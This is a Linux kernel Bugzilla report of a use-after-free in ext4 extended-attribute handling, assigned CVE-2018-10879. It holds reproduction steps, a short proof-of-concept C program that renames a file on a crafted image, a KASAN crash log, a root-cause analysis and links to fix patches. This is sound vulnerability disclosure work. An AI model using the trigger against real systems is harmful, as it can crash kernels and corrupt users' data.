Bug 200001

Summary: use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image
Product: File System Reporter: Wen Xu (wen.xu)
Component: ext4Assignee: fs_ext4 (fs_ext4)
Status: RESOLVED CODE_FIX    
Severity: normal CC: icytxw, tytso, wen.xu
Priority: P1    
Hardware: All   
OS: Linux   
Kernel Version: 4.17 Subsystem:
Regression: No Bisected commit-id:
Attachments: The (compressed) crafted image which causes crash

Description Wen Xu 2018-06-08 18:35:24 UTC
Created attachment 276405 [details]
The (compressed) crafted image which causes crash

- Overview
use-after-free detected by KASAN in ext4_xattr_set_entry when renaming a file in a crafted ext4 image

- Reproduce (KASAN build of ext4-dev branch)
# mkdir mnt
# mount -t 233.img mnt
# gcc -o poc poc.c
# ./poc ./mnt

- POC (poc.c)
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>

#include <dirent.h>
#include <errno.h>
#include <error.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <linux/falloc.h>
#include <linux/loop.h>

static void activity(char *mpoint) {

  char *foo_bar_baz;
  char *foo_baz;
  int err;
  err = asprintf(&foo_bar_baz, "%s/foo/bar/baz", mpoint);
  err = asprintf(&foo_baz, "%s/foo/baz", mpoint);
  rename(foo_bar_baz, foo_baz);
}

int main(int argc, char *argv[]) {
  activity(argv[1]);
  return 0;
}

- Kernel Message
[  356.651148] EXT4-fs (loop0): mounted filesystem with ordered data mode. Opts: (null)
[  359.753782] ==================================================================
[  359.755524] BUG: KASAN: use-after-free in ext4_xattr_set_entry+0x4c2/0x1860
[  359.757012] Read of size 4 at addr ffff8801f3593aa4 by task a.out/1376

[  359.758741] CPU: 0 PID: 1376 Comm: a.out Not tainted 4.17.0-rc4+ #5
[  359.758744] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[  359.758753] Call Trace:
[  359.758794]  dump_stack+0x7b/0xb5
[  359.758831]  print_address_description+0x70/0x290
[  359.758837]  kasan_report+0x291/0x390
[  359.758842]  ? ext4_xattr_set_entry+0x4c2/0x1860
[  359.758848]  __asan_load4+0x78/0x80
[  359.758853]  ext4_xattr_set_entry+0x4c2/0x1860
[  359.758863]  ? ext4_rename+0xcc6/0xd00
[  359.758867]  ? ext4_rename2+0xa6/0x100
[  359.758884]  ? vfs_rename+0xaa5/0xde0
[  359.758889]  ? do_renameat2+0x7d2/0x860
[  359.758893]  ? __x64_sys_rename+0x3b/0x50
[  359.758916]  ? do_syscall_64+0x78/0x170
[  359.758931]  ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  359.758939]  ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[  359.758943]  ? kasan_check_write+0x14/0x20
[  359.758957]  ? __brelse+0x4f/0x60
[  359.758968]  ? do_get_write_access+0x5ac/0x6a0
[  359.758974]  ? apic_timer_interrupt+0xa/0x20
[  359.758982]  ? __memcpy+0x12/0x20
[  359.758986]  ext4_xattr_block_set+0x5d3/0x1820
[  359.758991]  ? __x64_sys_renameat+0x70/0x70
[  359.758998]  ? ext4_xattr_block_find.isra.22+0x2c0/0x2c0
[  359.759003]  ? ext4_xattr_inode_array_free+0x60/0x60
[  359.759013]  ? __find_get_block+0x106/0x400
[  359.759018]  ? _cond_resched+0x1a/0x50
[  359.759022]  ? _cond_resched+0x1a/0x50
[  359.759026]  ? __getblk_gfp+0x31/0x3f0
[  359.759031]  ? strlen+0x25/0x40
[  359.759035]  ? xattr_find_entry+0x8a/0x140
[  359.759041]  ? ext4_xattr_block_find.isra.22+0x19e/0x2c0
[  359.759046]  ext4_expand_extra_isize_ea+0x89d/0xcb0
[  359.759052]  ? ext4_xattr_set+0x200/0x200
[  359.759056]  ? __getblk_gfp+0x31/0x3f0
[  359.759061]  ? ext4_xattr_check_entries+0x116/0x150
[  359.759071]  ? kasan_check_write+0x14/0x20
[  359.759084]  __ext4_expand_extra_isize+0xd4/0x100
[  359.759090]  ext4_mark_inode_dirty+0x3a8/0x3d0
[  359.759095]  ? ext4_expand_extra_isize+0x2e0/0x2e0
[  359.759106]  ? __ext4_check_dir_entry+0xc4/0x200
[  359.759112]  ? kasan_check_write+0x14/0x20
[  359.759117]  ext4_delete_inline_entry+0x1fa/0x300
[  359.759122]  ? ext4_find_inline_entry+0x240/0x240
[  359.759127]  ? ext4_expand_extra_isize+0x2e0/0x2e0
[  359.759131]  ext4_delete_entry+0xcc/0x270
[  359.759135]  ? ext4_generic_delete_entry+0x1f0/0x1f0
[  359.759139]  ? strncmp+0x71/0xc0
[  359.759143]  ext4_rename+0xcc6/0xd00
[  359.759148]  ? __x64_sys_rename+0x3b/0x50
[  359.759152]  ? ext4_tmpfile+0x2d0/0x2d0
[  359.759155]  ? ext4_find_entry+0x17d/0x770
[  359.759161]  ? ext4_dx_find_entry+0x2c0/0x2c0
[  359.759166]  ? kasan_check_write+0x14/0x20
[  359.759190]  ? lockref_get+0xc2/0x140
[  359.759195]  ext4_rename2+0xa6/0x100
[  359.759200]  vfs_rename+0xaa5/0xde0
[  359.759209]  ? memcg_kmem_put_cache+0x55/0xa0
[  359.759216]  ? path_mountpoint+0x5b0/0x5b0
[  359.759219]  ? kasan_check_write+0x14/0x20
[  359.759240]  ? security_path_rename+0xcb/0x130
[  359.759245]  do_renameat2+0x7d2/0x860
[  359.759252]  ? user_path_create+0x40/0x40
[  359.759264]  ? __vma_link_rb+0x12a/0x160
[  359.759277]  ? userfaultfd_unmap_complete+0x9c/0x1d0
[  359.759283]  ? handle_mm_fault+0x24b/0x380
[  359.759298]  ? mm_fault_error+0x1f0/0x1f0
[  359.759303]  ? vm_brk+0x20/0x20
[  359.759309]  __x64_sys_rename+0x3b/0x50
[  359.759313]  do_syscall_64+0x78/0x170
[  359.759319]  entry_SYSCALL_64_after_hwframe+0x44/0xa9
[  359.759335] RIP: 0033:0x7f17dba1a367
[  359.759338] RSP: 002b:00007fffbc1f6148 EFLAGS: 00000206 ORIG_RAX: 0000000000000052
[  359.759348] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f17dba1a367
[  359.759350] RDX: 00000000023230a0 RSI: 00000000023230a0 RDI: 0000000002323080
[  359.759353] RBP: 00007fffbc1f6180 R08: 0000000002323010 R09: 0000000000000000
[  359.759355] R10: 0000000000000640 R11: 0000000000000206 R12: 00000000004004e0
[  359.759358] R13: 00007fffbc1f6280 R14: 0000000000000000 R15: 0000000000000000

[  359.759705] Allocated by task 939:
[  359.760457]  save_stack+0x46/0xd0
[  359.760461]  kasan_kmalloc+0xad/0xe0
[  359.760466]  kmem_cache_alloc_trace+0x102/0x200
[  359.760482]  do_syslog+0x1f1/0x680
[  359.760494]  kmsg_read+0x52/0x70
[  359.760499]  proc_reg_read+0x92/0xd0
[  359.760504]  __vfs_read+0xe7/0x3e0
[  359.760508]  vfs_read+0xbf/0x1b0
[  359.760511]  ksys_read+0xb4/0x140
[  359.760514]  __x64_sys_read+0x43/0x50
[  359.760518]  do_syscall_64+0x78/0x170
[  359.760523]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  359.760863] Freed by task 939:
[  359.761522]  save_stack+0x46/0xd0
[  359.761526]  __kasan_slab_free+0x13c/0x1a0
[  359.761530]  kasan_slab_free+0xe/0x10
[  359.761533]  kfree+0x8c/0x1c0
[  359.761536]  do_syslog+0x5e7/0x680
[  359.761540]  kmsg_read+0x52/0x70
[  359.761544]  proc_reg_read+0x92/0xd0
[  359.761547]  __vfs_read+0xe7/0x3e0
[  359.761550]  vfs_read+0xbf/0x1b0
[  359.761554]  ksys_read+0xb4/0x140
[  359.761557]  __x64_sys_read+0x43/0x50
[  359.761561]  do_syscall_64+0x78/0x170
[  359.761565]  entry_SYSCALL_64_after_hwframe+0x44/0xa9

[  359.761914] The buggy address belongs to the object at ffff8801f3593a80
                which belongs to the cache kmalloc-1024 of size 1024
[  359.764559] The buggy address is located 36 bytes inside of
                1024-byte region [ffff8801f3593a80, ffff8801f3593e80)
[  359.766971] The buggy address belongs to the page:
[  359.768001] page:ffffea0007cd6400 count:1 mapcount:0 mapping:0000000000000000 index:0x0 compound_mapcount: 0
[  359.770059] flags: 0x2ffff0000008100(slab|head)
[  359.771020] raw: 02ffff0000008100 0000000000000000 0000000000000000 00000001800e000e
[  359.772649] raw: ffffea0007b5be00 0000000200000002 ffff8801f6c02c40 0000000000000000
[  359.774258] page dumped because: kasan: bad access detected

[  359.775760] Memory state around the buggy address:
[  359.776775]  ffff8801f3593980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
[  359.778270]  ffff8801f3593a00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[  359.779764] >ffff8801f3593a80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.781277]                                ^
[  359.782181]  ffff8801f3593b00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.783683]  ffff8801f3593b80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[  359.793072] ==================================================================
[  359.794584] Disabling lock debugging due to kernel taint
[  359.795898] EXT4-fs error (device loop0): ext4_xattr_inode_iget:390: comm a.out: error while reading EA inode 1970234923 err=-117
[  359.836553] EXT4-fs warning (device loop0): ext4_expand_extra_isize_ea:2791: Unable to expand inode 13. Delete some EAs or run e2fsck.

- Reason
https://elixir.bootlin.com/linux/v4.17-rc7/source/fs/ext4/xattr.c#L1597
	/* Compute min_offs and last. */
	last = s->first;
	for (; !IS_LAST_ENTRY(last); last = EXT4_XATTR_NEXT(last)) {
		if (!last->e_value_inum && last->e_value_size) {
			size_t offs = le16_to_cpu(last->e_value_offs);
			if (offs < min_offs)
				min_offs = offs;
		}
	}
In this loop, a dangling `last` is accessed based on KASAN report.

Multiple tries may be required to reproduce the bug. Based on the KASAN report and POC code, I report this bug separately, different from https://bugzilla.kernel.org/show_bug.cgi?id=199997 I reported before.

Reported by Wen Xu (wen.xu@gatech.edu) from SSLab at Gatech.
Comment 1 Theodore Tso 2018-06-13 16:06:46 UTC
*** Bug 199997 has been marked as a duplicate of this bug. ***
Comment 2 Theodore Tso 2018-06-13 16:14:39 UTC
The fundamental problem block 35 is being used as a block allocation bitmap.  On a number of your fuzzed images, one or more of the inodes use that same block as an external xattr block.   So the problem is that block 35 is verified as an allocation bitmap; and then the buffer_verified flag is set.  Then when we call ext4_xattr_check_block(), the code looks at the buffer_verified flag, and says, "Hurr durr.... this block has already been verified (as an allocation bitmap) so it must be OK; no need to verify it again (as an xattr block)".

I have two patches to address this:

ext4: add corruption check in ext4_xattr_set_entry()
    http://patchwork.ozlabs.org/patch/928666/

ext4: always verify the magic number in xattr blocks
    http://patchwork.ozlabs.org/patch/928667/

The first patch is sufficient to fix both this bug and #199997 by adding an sanity check in ext4_xattr_set_entry --- so that we're not dependent on verifying that xattr block is sane.  However, there are a number of other places in fs/ext4/xattr.c where it's too hard to make sure extended attributes don't overrun the block boundaries without doing massive code restructuring. 

So the second patch fixes the problem where the block was marked as verified via as a different metadata block type and then trying to treat that block as an xattr block.
Comment 3 Theodore Tso 2018-06-14 20:29:55 UTC
*** Bug 199869 has been marked as a duplicate of this bug. ***
Comment 4 icytxw 2018-06-18 03:12:15 UTC
*** Bug 200109 has been marked as a duplicate of this bug. ***
Comment 5 Theodore Tso 2018-07-02 16:04:41 UTC
This has been assigned CVE-2018-10879

Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=1596806